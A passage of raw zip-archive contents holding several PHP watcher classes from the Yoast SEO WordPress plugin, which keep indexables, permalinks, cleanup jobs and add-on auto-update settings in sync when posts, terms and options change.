	protected $permalink_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Sets the needed dependencies.
	 *
	 * @param Indexable_Repository           $indexable_repository           The indexable repository.
	 * @param Indexable_Hierarchy_Builder    $indexable_hierarchy_builder    The indexable hierarchy builder.
	 * @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository.
	 * @param Indexable_Helper               $indexable_helper               The indexable helper.
	 * @param Permalink_Helper               $permalink_helper               The permalink helper.
	 * @param Post_Type_Helper               $post_type_helper               The post type helper.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		Indexable_Hierarchy_Builder $indexable_hierarchy_builder,
		Indexable_Hierarchy_Repository $indexable_hierarchy_repository,
		Indexable_Helper $indexable_helper,
		Permalink_Helper $permalink_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->indexable_repository           = $indexable_repository;
		$this->indexable_hierarchy_builder    = $indexable_hierarchy_builder;
		$this->indexable_hierarchy_repository = $indexable_hierarchy_repository;
		$this->indexable_helper               = $indexable_helper;
		$this->permalink_helper               = $permalink_helper;
		$this->post_type_helper               = $post_type_helper;
	}

	/**
	 * Registers the appropriate hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_save_indexable', [ $this, 'reset_children' ], \PHP_INT_MAX, 2 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<Migrations_Conditional>
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * If an indexable's permalink has changed, updates its children in the hierarchy table and resets the children's permalink.
	 *
	 * @param Indexable $indexable        The indexable.
	 * @param Indexable $indexable_before The old indexable.
	 *
	 * @return bool True if the children were reset.
	 */
	public function reset_children( $indexable, $indexable_before ) {
		if ( ! \in_array( $indexable->object_type, [ 'post', 'term' ], true ) ) {
			return false;
		}

		// If the permalink was null it means it was reset instead of changed.
		if ( $indexable->permalink === $indexable_before->permalink || \is_null( $indexable_before->permalink ) ) {
			return false;
		}

		$child_indexable_ids = $this->indexable_hierarchy_repository->find_children( $indexable );
		$child_indexables    = $this->indexable_repository->find_by_ids( $child_indexable_ids );

		\array_walk( $child_indexables, [ $this, 'update_hierarchy_and_permalink' ] );
		if ( $indexable->object_type === 'term' ) {
			$child_indexables_for_term = $this->get_children_for_term( $indexable->object_id, $child_indexables );

			\array_walk( $child_indexables_for_term, [ $this, 'update_hierarchy_and_permalink' ] );
		}

		return true;
	}

	/**
	 * Finds all child indexables for the given term.
	 *
	 * @param int              $term_id          Term to fetch the indexable for.
	 * @param array<Indexable> $child_indexables The already known child indexables.
	 *
	 * @return array<Indexable> The list of additional child indexables for a given term.
	 */
	public function get_children_for_term( $term_id, array $child_indexables ) {
		// Finds object_ids (posts) for the term.
		$post_object_ids = $this->get_object_ids_for_term( $term_id, $child_indexables );

		// Removes the objects that are already present in the children.
		$existing_post_indexables = \array_filter(
			$child_indexables,
			static function ( $indexable ) {
				return $indexable->object_type === 'post';
			}
		);

		$existing_post_object_ids = \wp_list_pluck( $existing_post_indexables, 'object_id' );
		$post_object_ids          = \array_diff( $post_object_ids, $existing_post_object_ids );

		// Finds the indexables for the fetched post_object_ids.
		$post_indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_object_ids, 'post', false );

		// Finds the indexables for the posts that are attached to the term.
		$post_indexable_ids       = \wp_list_pluck( $post_indexables, 'id' );
		$additional_indexable_ids = $this->indexable_hierarchy_repository->find_children_by_ancestor_ids( $post_indexable_ids );

		// Makes sure we only have indexable id's that we haven't fetched before.
		$additional_indexable_ids = \array_diff( $additional_indexable_ids, $post_indexable_ids );

		// Finds the additional indexables.
		$additional_indexables = $this->indexable_repository->find_by_ids( $additional_indexable_ids );

		// Merges all fetched indexables.
		return \array_merge( $post_indexables, $additional_indexables );
	}

	/**
	 * Updates the indexable hierarchy and indexable permalink.
	 *
	 * @param Indexable $indexable The indexable to update the hierarchy and permalink for.
	 *
	 * @return void
	 */
	protected function update_hierarchy_and_permalink( $indexable ) {
		if ( \is_a( $indexable, Indexable::class ) ) {
			$this->indexable_hierarchy_builder->build( $indexable );

			$indexable->permalink = $this->permalink_helper->get_permalink_for_indexable( $indexable );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Retrieves the object id's for a term based on the term-post relationship.
	 *
	 * @param int              $term_id          The term to get the object id's for.
	 * @param array<Indexable> $child_indexables The child indexables.
	 *
	 * @return array<int> List with object ids for the term.
	 */
	protected function get_object_ids_for_term( $term_id, $child_indexables ) {
		global $wpdb;

		$filter_terms = static function ( $child ) {
			return $child->object_type === 'term';
		};

		$child_terms      = \array_filter( $child_indexables, $filter_terms );
		$child_object_ids = \array_merge( [ $term_id ], \wp_list_pluck( $child_terms, 'object_id' ) );

		// Get the term-taxonomy id's for the term and its children.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		$term_taxonomy_ids = $wpdb->get_col(
			$wpdb->prepare(
				'SELECT term_taxonomy_id
				FROM %i
				WHERE term_id IN( ' . \implode( ', ', \array_fill( 0, ( \count( $child_object_ids ) ), '%s' ) ) . ' )',
				$wpdb->term_taxonomy,
				...$child_object_ids
			)
		);

		// In the case of faulty data having been saved the above query can return 0 results.
		if ( empty( $term_taxonomy_ids ) ) {
			return [];
		}

		// Get the (post) object id's that are attached to the term.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		return $wpdb->get_col(
			$wpdb->prepare(
				'SELECT DISTINCT object_id
				FROM %i
				WHERE term_taxonomy_id IN( ' . \implode( ', ', \array_fill( 0, \count( $term_taxonomy_ids ), '%s' ) ) . ' )',
				$wpdb->term_relationships,
				...$term_taxonomy_ids
			)
		);
	}
}
PK       ! =    )  watchers/indexable-attachment-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Watches the disable-attachment key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Attachment_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The attachment cleanup helper.
	 *
	 * @var Attachment_Cleanup_Helper
	 */
	protected $attachment_cleanup;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Attachment_Watcher constructor.
	 *
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Attachment_Cleanup_Helper $attachment_cleanup  The attachment cleanup helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper,
		Attachment_Cleanup_Helper $attachment_cleanup,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->indexing_helper     = $indexing_helper;
		$this->attachment_cleanup  = $attachment_cleanup;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 20, 2 );
	}

	/**
	 * Checks if the disable-attachment key in wpseo_titles has a change in value, and if so,
	 * either it cleans up attachment indexables when it has been toggled to true,
	 * or it starts displaying a notification for the user to start a new SEO optimization.
	 *
	 * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @phpcs:enable
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['disable-attachment'] ) && ! isset( $new_value['disable-attachment'] ) ) {
			return;
		}

		// If a new value has been set for 'disable-attachment', there's two things we might need to do, depending on what's the new value.
		if ( $old_value['disable-attachment'] !== $new_value['disable-attachment'] ) {
			// Delete cache because we now might have new stuff to index or old unindexed stuff don't need indexing anymore.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			// Set this core option (introduced in WP 6.4) to ensure consistency.
			if ( \get_option( 'wp_attachment_pages_enabled' ) !== false ) {
				\update_option( 'wp_attachment_pages_enabled', (int) ! $new_value['disable-attachment'] );
			}

			switch ( $new_value['disable-attachment'] ) {
				case false:
					$this->indexing_helper->set_reason( Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED );
					return;
				case true:
					$this->attachment_cleanup->remove_attachment_indexables( false );
					$this->attachment_cleanup->clean_attachment_links_from_target_indexable_ids( false );

					if ( $this->indexable_helper->should_index_indexables() && ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
						// This just schedules the cleanup routine cron again.
						\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
					}
					return;
			}
		}
	}
}
PK       ! }2O       watchers/auto-update-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have WordPress auto updates enabled but not Yoast SEO auto updates.
 */
class Auto_Update_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-auto-update';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * Auto_Update constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 */
	public function __construct( Yoast_Notification_Center $notification_center ) {
		$this->notification_center = $notification_center;
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification to auto-update Yoast SEO needs to be shown or removed.
	 * This is also done when major WP core updates are being enabled or disabled,
	 * and when automatic updates for Yoast SEO are being enabled or disabled.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'remove_notification' ] );
	}

	/**
	 * Removes the notification from the notification center, if it exists.
	 *
	 * @return void
	 */
	public function remove_notification() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}
}
PK       ! cNz2    1  watchers/indexable-category-permalink-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WPSEO_Utils;
use Yoast\WP\SEO\Config\Indexing_Reasons;

/**
 * Watches the stripcategorybase key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Category_Permalink_Watcher extends Indexable_Permalink_Watcher {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the stripcategorybase key in wpseo_titles has a change in value, and if so,
	 * clears the permalink for category indexables.
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['stripcategorybase'] ) && ! isset( $new_value['stripcategorybase'] ) ) {
			return;
		}

		// If a new value has been set for 'stripcategorybase', clear the category permalinks.
		if ( $old_value['stripcategorybase'] !== $new_value['stripcategorybase'] ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'category', Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX );
			// Clear the rewrites, so the new permalink structure is used.
			WPSEO_Utils::clear_rewrites();
		}
	}
}
PK       ! B    !  watchers/addon-update-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Enables Yoast add-on auto updates when Yoast SEO is enabled and the other way around.
 *
 * Also removes the auto-update toggles from the Yoast SEO add-ons.
 */
class Addon_Update_Watcher implements Integration_Interface {

	/**
	 * ID string used by WordPress to identify the free plugin.
	 *
	 * @var string
	 */
	public const WPSEO_FREE_PLUGIN_ID = 'wordpress-seo/wp-seo.php';

	/**
	 * A list of Yoast add-on identifiers.
	 *
	 * @var string[]
	 */
	public const ADD_ON_PLUGIN_FILES = [
		'wordpress-seo-premium/wp-seo-premium.php',
		'wpseo-video/video-seo.php',
		'wpseo-local/local-seo.php', // When installing Local through a released zip, the path is different from the path on a dev environment.
		'wpseo-woocommerce/wpseo-woocommerce.php',
		'wpseo-news/wpseo-news.php',
		'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php', // When installing ACF for Yoast through a released zip, the path is different from the path on a dev environment.
	];

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_site_option_auto_update_plugins', [ $this, 'call_toggle_auto_updates_with_empty_array' ], 10, 2 );
		\add_action( 'update_site_option_auto_update_plugins', [ $this, 'toggle_auto_updates_for_add_ons' ], 10, 3 );
		\add_filter( 'plugin_auto_update_setting_html', [ $this, 'replace_auto_update_toggles_of_addons' ], 10, 2 );
		\add_action( 'activated_plugin', [ $this, 'maybe_toggle_auto_updates_for_new_install' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Replaces the auto-update toggle links for the Yoast add-ons
	 * with a text explaining that toggling the Yoast SEO auto-update setting
	 * automatically toggles the one for the setting for the add-ons as well.
	 *
	 * @param string $old_html The old HTML.
	 * @param string $plugin   The plugin.
	 *
	 * @return string The new HTML, with the auto-update toggle link replaced.
	 */
	public function replace_auto_update_toggles_of_addons( $old_html, $plugin ) {
		if ( ! \is_string( $old_html ) ) {
			return $old_html;
		}

		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return $old_html;
		}

		$auto_updated_plugins = \get_site_option( 'auto_update_plugins' );

		if ( $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $auto_updated_plugins ) ) {
			return \sprintf(
				'<em>%s</em>',
				\sprintf(
				/* Translators: %1$s resolves to Yoast SEO. */
					\esc_html__( 'Auto-updates are enabled based on this setting for %1$s.', 'wordpress-seo' ),
					'Yoast SEO'
				)
			);
		}

		return \sprintf(
			'<em>%s</em>',
			\sprintf(
			/* Translators: %1$s resolves to Yoast SEO. */
				\esc_html__( 'Auto-updates are disabled based on this setting for %1$s.', 'wordpress-seo' ),
				'Yoast SEO'
			)
		);
	}

	/**
	 * Handles the situation where the auto_update_plugins option did not previously exist.
	 *
	 * @param string      $option The name of the option that is being created.
	 * @param array|mixed $value  The new (and first) value of the option that is being created.
	 *
	 * @return void
	 */
	public function call_toggle_auto_updates_with_empty_array( $option, $value ) {
		if ( $option !== 'auto_update_plugins' ) {
			return;
		}

		$this->toggle_auto_updates_for_add_ons( $option, $value, [] );
	}

	/**
	 * Enables premium auto updates when free are enabled and the other way around.
	 *
	 * @param string $option    The name of the option that has been updated.
	 * @param array  $new_value The new value of the `auto_update_plugins` option.
	 * @param array  $old_value The old value of the `auto_update_plugins` option.
	 *
	 * @return void
	 */
	public function toggle_auto_updates_for_add_ons( $option, $new_value, $old_value ) {
		if ( $option !== 'auto_update_plugins' ) {
			// If future versions of WordPress change this filter's behavior, our behavior should stay consistent.
			return;
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		$auto_updates_are_enabled  = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $new_value );
		$auto_updates_were_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $old_value );

		if ( $auto_updates_are_enabled === $auto_updates_were_enabled ) {
			// Auto-updates for Yoast SEO have stayed the same, so have neither been enabled or disabled.
			return;
		}

		$auto_updates_have_been_enabled = $auto_updates_are_enabled && ! $auto_updates_were_enabled;

		if ( $auto_updates_have_been_enabled ) {
			$this->enable_auto_updates_for_addons( $new_value );
			return;
		}
		else {
			$this->disable_auto_updates_for_addons( $new_value );
			return;
		}

		if ( ! $auto_updates_are_enabled ) {
			return;
		}

		$auto_updates_have_been_removed = false;
		foreach ( self::ADD_ON_PLUGIN_FILES as $addon ) {
			if ( ! $this->are_auto_updates_enabled( $addon, $new_value ) ) {
				$auto_updates_have_been_removed = true;
				break;
			}
		}

		if ( $auto_updates_have_been_removed ) {
			$this->enable_auto_updates_for_addons( $new_value );
		}
	}

	/**
	 * Trigger a change in the auto update detection whenever a new Yoast addon is activated.
	 *
	 * @param string $plugin The plugin that is activated.
	 *
	 * @return void
	 */
	public function maybe_toggle_auto_updates_for_new_install( $plugin ) {
		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return;
		}

		$enabled_auto_updates = \get_site_option( 'auto_update_plugins' );
		$this->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Enables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function enable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_unique( \array_merge( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Disables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function disable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_values( \array_diff( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Checks whether auto updates for a plugin are enabled.
	 *
	 * @param string $plugin_id            The plugin ID.
	 * @param array  $auto_updated_plugins The array of auto updated plugins.
	 *
	 * @return bool Whether auto updates for a plugin are enabled.
	 */
	protected function are_auto_updates_enabled( $plugin_id, $auto_updated_plugins ) {
		if ( $auto_updated_plugins === false || ! \is_array( $auto_updated_plugins ) ) {
			return false;
		}

		return \in_array( $plugin_id, $auto_updated_plugins, true );
	}
}
PK       ! jN	  N	  -  watchers/indexable-author-archive-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Watches the `wpseo_titles` option for changes to the author archive settings.
 */
class Indexable_Author_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Indexable_Author_Archive_Watcher constructor.
	 *
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Check if the author archives are disabled whenever the `wpseo_titles` option
	 * changes.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action(
			'update_option_wpseo_titles',
			[ $this, 'reschedule_indexable_cleanup_when_author_archives_are_disabled' ],
			10,
			2
		);
	}

	/**
	 * This watcher should only be run when the migrations have been run.
	 * (Otherwise there may not be an indexable table to clean).
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Reschedule the indexable cleanup routine if the author archives are disabled.
	 * to make sure that all authors are removed from the indexables table.
	 *
	 * When author archives are disabled, they can never be indexed.
	 *
	 * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification
	 *
	 * @param array $old_value The old `wpseo_titles` option value.
	 * @param array $new_value The new `wpseo_titles` option value.
	 *
	 * @phpcs:enable
	 * @return void
	 */
	public function reschedule_indexable_cleanup_when_author_archives_are_disabled( $old_value, $new_value ) {
		if ( $old_value['disable-author'] !== true && $new_value['disable-author'] === true && $this->indexable_helper->should_index_indexables() ) {
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}
		}
	}
}
PK       !     #  watchers/indexable-term-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_Link_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watches Terms/Taxonomies to fill the related Indexable.
 */
class Indexable_Term_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The link builder.
	 *
	 * @var Indexable_Link_Builder
	 */
	protected $link_builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Represents the site helper.
	 *
	 * @var Site_Helper
	 */
	protected $site;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Term_Watcher constructor.
	 *
	 * @param Indexable_Repository   $repository       The repository to use.
	 * @param Indexable_Builder      $builder          The post builder to use.
	 * @param Indexable_Link_Builder $link_builder     The lint builder to use.
	 * @param Indexable_Helper       $indexable_helper The indexable helper.
	 * @param Site_Helper            $site             The site helper.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Indexable_Link_Builder $link_builder,
		Indexable_Helper $indexable_helper,
		Site_Helper $site
	) {
		$this->repository       = $repository;
		$this->builder          = $builder;
		$this->link_builder     = $link_builder;
		$this->indexable_helper = $indexable_helper;
		$this->site             = $site;
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'created_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'edited_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_term', [ $this, 'delete_indexable' ], \PHP_INT_MAX );
	}

	/**
	 * Deletes a term from the index.
	 *
	 * @param int $term_id The Term ID to delete.
	 *
	 * @return void
	 */
	public function delete_indexable( $term_id ) {
		$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );

		if ( ! $indexable ) {
			return;
		}

		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Update the taxonomy meta data on save.
	 *
	 * @param int $term_id ID of the term to save data for.
	 *
	 * @return void
	 */
	public function build_indexable( $term_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->site->is_multisite_and_switched() ) {
			return;
		}

		$term = \get_term( $term_id );

		if ( $term === null || \is_wp_error( $term ) ) {
			return;
		}

		if ( ! \is_taxonomy_viewable( $term->taxonomy ) ) {
			return;
		}

		$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );

		// If we haven't found an existing indexable, create it. Otherwise update it.
		$indexable = $this->builder->build_for_id_and_type( $term_id, 'term', $indexable );

		if ( ! $indexable ) {
			return;
		}

		// Update links.
		$this->link_builder->build( $indexable, $term->description );

		$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
		$this->indexable_helper->save_indexable( $indexable );
	}
}
PK       ! t    (  watchers/indexable-permalink-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WordPress Permalink structure watcher.
 *
 * Handles updates to the permalink_structure for the Indexables table.
 */
class Indexable_Permalink_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The taxonomy helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Permalink_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type       The post type helper.
	 * @param Options_Helper   $options         The options helper.
	 * @param Indexable_Helper $indexable       The indexable helper.
	 * @param Taxonomy_Helper  $taxonomy_helper The taxonomy helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable, Taxonomy_Helper $taxonomy_helper ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
		$this->taxonomy_helper  = $taxonomy_helper;

		$this->schedule_cron();
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_permalink_structure', [ $this, 'reset_permalinks' ] );
		\add_action( 'update_option_category_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'update_option_tag_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'unschedule_cron' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {

		$post_types = $this->get_post_types();
		foreach ( $post_types as $post_type ) {
			$this->reset_permalinks_post_type( $post_type );
		}

		$taxonomies = $this->get_taxonomies_for_post_types( $post_types );
		foreach ( $taxonomies as $taxonomy ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
		}

		$this->indexable_helper->reset_permalink_indexables( 'user' );
		$this->indexable_helper->reset_permalink_indexables( 'date-archive' );
		$this->indexable_helper->reset_permalink_indexables( 'system-page' );

		// Always update `permalink_structure` in the wpseo option.
		$this->options_helper->set( 'permalink_structure', \get_option( 'permalink_structure' ) );
	}

	/**
	 * Resets the permalink for the given post type.
	 *
	 * @param string $post_type The post type to reset.
	 *
	 * @return void
	 */
	public function reset_permalinks_post_type( $post_type ) {
		$this->indexable_helper->reset_permalink_indexables( 'post', $post_type );
		$this->indexable_helper->reset_permalink_indexables( 'post-type-archive', $post_type );
	}

	/**
	 * Resets the term indexables when the base has been changed.
	 *
	 * @param string $old_value Unused. The old option value.
	 * @param string $new_value Unused. The new option value.
	 * @param string $type      The option name.
	 *
	 * @return void
	 */
	public function reset_permalinks_term( $old_value, $new_value, $type ) {
		$subtype = $type;

		$reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS;

		// When the subtype contains _base, just strip it.
		if ( \strstr( $subtype, '_base' ) ) {
			$subtype = \substr( $type, 0, -5 );
		}

		if ( $subtype === 'tag' ) {
			$subtype = 'post_tag';
			$reason  = Indexing_Reasons::REASON_TAG_BASE_PREFIX;
		}

		if ( $subtype === 'category' ) {
			$reason = Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX;
		}

		$this->indexable_helper->reset_permalink_indexables( 'term', $subtype, $reason );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the reset request ran.
	 */
	public function force_reset_permalinks() {
